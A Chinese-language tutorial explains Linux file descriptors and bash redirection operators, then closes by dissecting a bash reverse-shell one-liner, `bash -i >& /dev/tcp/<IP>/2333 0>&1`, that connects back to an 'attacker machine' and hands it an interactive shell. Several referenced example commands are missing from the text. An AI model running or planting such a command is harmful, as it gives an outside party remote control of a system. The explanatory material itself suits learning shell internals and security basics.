linux文件描述符可以理解为linux跟踪打开文件而分配的一个数字句柄,这个数字本质上是一个文件句柄,通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符,分别是:
- 标准输入:standard input 0 (默认设备键盘)
- 标准输出:standard output 1(默认设备显示器)
- 错误输出:error output 2(默认设备显示器)
进程启动后再打开新的文件,描述符会自动依次增加。每一个新进程都会继承其父进程的文件描述符,因此所有的shell命令(本质上也是启动新进程),都会默认有三个文件描述符。
Linux一切皆文件,键盘、显示器设备也是文件,因此他们的输入输出也是由文件描述符控制。如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
2. 重定向
重定向主要分为两种
- 输入重定向
- “<”
- “<<”
- 输出重定向
- “>”
- “>>”
注意:“>”会覆盖原内容,比如file文件原有内容222, echo > 111 file 会覆盖222而写入111
而“>>”会在原内容后添加
bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析。
1)输入重定向
[n]< word (注意[n]与<之间没有空格)
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)。
解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。
2)输出重定向
[n]> word
说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)。
上述指令将文件描述符1(标准输出)重定向到了指定文件。
3)标准输出与标准错误输出重定向
下面3种形式完全等价,
&> word >& word > word 2>&1:将标准错误输出复制到标准输出
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开)。
解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
4)文件描述符的复制
[n]<&[m] n]>&[m] 注意:这里所有字符之间不要有空格
- 这两个指令都是将文件描述符 n 复制到 m ,两者的区别是
- [n]<&[m] :以只读的形式打开
- n]>&[m] :以写的形式打开
- 这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
重定向符号的顺序不能随便换,因为系统是从左到右执行。我们来分析上面指令结果出现的原理,
首先解析器解析到 2>&1
解析器再向后解析到 “>”
注意:一条命令只能设置重定向一次0,1,2(标准输入,标准输出,标准错误输出)
这句命令是将 (1>&2)标准输出重定向到标准错误输出,在将(>)标准输出重定向到文件file,但是依然输出到了终端而不是文件里,这就说明了一条命令只能设置重定向一次
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
- “bash -i”:bash 是linux的一个比较常见的shell,除此之外还有 sh、zsh、等,他们之间有着细小差别
- “-i”:这个参数表示的是产生交互式的shell
- “/dev/tcp/ip/port”:/dev/tcp|udp/ip/port 这个文件可以将其看成一个设备(Linux下一切皆文件),对这个文件进行读写,就能实现与监听端口的服务器的socket通信
- ”>&“:混合输出(错误、正确输出都输出到一个地方),避免受害者机器上依然能看到我们在攻击者机器中执行的指令
- 0>&1:输入0是由 /dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到 /dev/tcp/192.168.146.129/2333 上,这就形成了一个回路,实现了我们远程交互式shell 的功能
-